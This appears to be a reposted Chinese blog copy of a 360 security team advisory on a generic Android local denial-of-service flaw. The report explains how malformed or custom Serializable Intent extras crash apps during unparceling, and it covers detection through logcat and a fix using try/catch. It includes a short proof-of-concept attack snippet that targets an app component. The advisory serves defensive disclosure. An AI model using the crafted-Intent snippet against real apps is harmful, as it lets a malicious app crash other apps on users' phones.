android拒绝服务教程,[转帖][转帖]通用型安卓拒绝服务漏洞报告&检测工具

作者:360捉虫猎手研究员 @0xr0ot & @Xbalien

“超级拒绝服务漏洞”是近期发现的一个安卓通用型拒绝服务漏洞,恶意攻击者可能利用此漏洞让手机中的任意应用崩溃无法正常工作,几乎影响目前市面上所有的安卓APP应用。360捉虫猎手开发了一个自动化的检测工具,以便开发者自查修复。检测工具:http://appscan.360.cn/crashcheck/

漏洞分析

0xr0ot和Xbalien交流所有可能导致应用拒绝服务的异常类型时,发现了一处通用的本地拒绝服务漏洞。该通用型本地拒绝服务可以造成大面积的app拒绝服务。

针对序列化对象而出现的拒绝服务主要是由于应用中使用了getSerializableExtra() 的API,由于应用开发者没有对传入的数据做异常判断,恶意应用可以通过传入畸形数据,导致应用本地拒绝服务。

漏洞应用代码片段:

Intent i = getIntent();

if(i.getAction().equals("serializable_action")){

i.getSerializableExtra("serializable_key");    //未做异常判断

}

攻击应用代码片段:

Intent i = new Intent();

i.setAction("serializable_action");

i.setClassName("com.exp.serializable", "com.exp.serializable.MainActivity");

i.putExtra("seriadddddlizable_dkey",XXX);    //此处是传入畸形数据

startActivity(i);

比如XXX处传入BigInteger.valueOf(1)极有可能发生转型异常错误java.lang.ClassCastException。

但后来交流中发现,当传入一个自定义的序列化对象Serializable或getParcelable对象时

,接收Intent的目标组件在getSerializableExtra()、getParcelable()等会抛出类未定义的异常java.lang.NoClassDefFoundError。这是因为,当你给漏洞应用传入一个应用本身并没有的序列化类对象,在应用上下文中肯定是找不到这个类的。

自定义的序列化类很简单:

public class DataSchema implements Serializable {

private static final long serialVersionUID = -3601187837704976264L;

public DataSchema() {

super();

}

}

对应的攻击代码中XXX处传入new DataSchema(),我们发现传入的key不管是否与漏洞应用相同,都会抛出类未定义的异常。

随着测试的深入,我们通过logcat发现,在错误日志里不一定是getSerializableExtra()、getParcelable()导致的。然后我们就延伸了下,试着向getXXXExtra()传入我们自定义的序列化类对象,发现都会抛出类未定义的异常。

测试app代码片段:

protected void onCreate(Bundle savedInstanceState) {

Intent intent = getIntent();

intent.getStringExtra("ROIS");    //此处依然会由于NoClassDefFoundError crash

}

接着我们测试了市面上大量主流应用,涵盖BAT等。发现这种方法可以通杀。我们开始觉得这个是android本身的问题,开始翻源代码。

/frameworks/base/core/java/android/content/Intent.java

public String getStringExtra(String name) {

return mExtras == null ? null : mExtras.getString(name);

}

/frameworks/base/core/java/android/os/Bundle.java

public String getString(String key) {

unparcel(); //处理数据

...

}

/* package */ synchronized void unparcel() {

...

mParcelledData.readMapInternal(mMap, N, mClassLoader);

...

}

/frameworks/base/core/java/android/os/Parcel.java

readMapInternal解析传递进来的数据

/* package */ void readMapInternal(Map outVal, int N,

ClassLoader loader) {

while (N > 0) {

Object key = readValue(loader);

Object value = readValue(loader);

outVal.put(key, value);

N--;

}

}

最后当解析到Serializable对象时,由于加载不到类,抛出异常

public final Serializable readSerializable() {

...

try {

ObjectInputStream ois = new ObjectInputStream(bais);

return (Serializable) ois.readObject();

} catch (IOException ioe) {

throw new RuntimeException("Parcelable encountered " +

"IOException reading a Serializable object (name = " + name +

")", ioe);

} catch (ClassNotFoundException cnfe) {

throw new RuntimeException("Parcelable encountered" +

"ClassNotFoundException reading a Serializable object (name = "

+ name + ")", cnfe);

}

}

但是回头想想,谷歌肯定不是认为这是android的漏洞,开发者只要加个try catch 捕获异常就可以了。

漏洞检测:

为了方便开发者测试,360捉虫猎手发布了一个自动化的超级拒绝服务漏洞检测工具。下载地址:http://appscan.360.cn/crashcheck/

开发者可以通过以下方法进行排查:

1.监控java.lang.RuntimeException的错误日志

在adb shell下敲入

adb shell logcat | grep java.lang.RuntimeException

使用我们的检测工具测试各个组件,如果发现如下类型的报错日志,即存在超级拒绝服务漏洞

java.lang.RuntimeException: Parcelable encounteredClassNotFoundException reading a Serializable object (name = com.qihoo.intentfuzztester.extradata.DataSchema)

2. 一段真实存在漏洞的代码片段

虽然getExtras只接受Int类型数据,但putExtra打入一个序列化对象Serializable,程序仍然会崩溃,原因是getInt在底层仍然会对数据进行unparcel()的预处理,具体参考之前的漏洞分析。

public void onCreate(Bundle arg5) {

.........

Bundle v0 = this.getIntent().getExtras();

if(v0 != null) {

this.bqL = v0.getInt("appWidgetId", 0);

}

.........

漏洞修复:

不管是get什么extra,只要是getXXXExtra(),加上try catch捕获异常即可。

参考:

http://androidxref.com/4.2.2_r1/xref/frameworks/base/core/java/android/os/Parcel.java

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值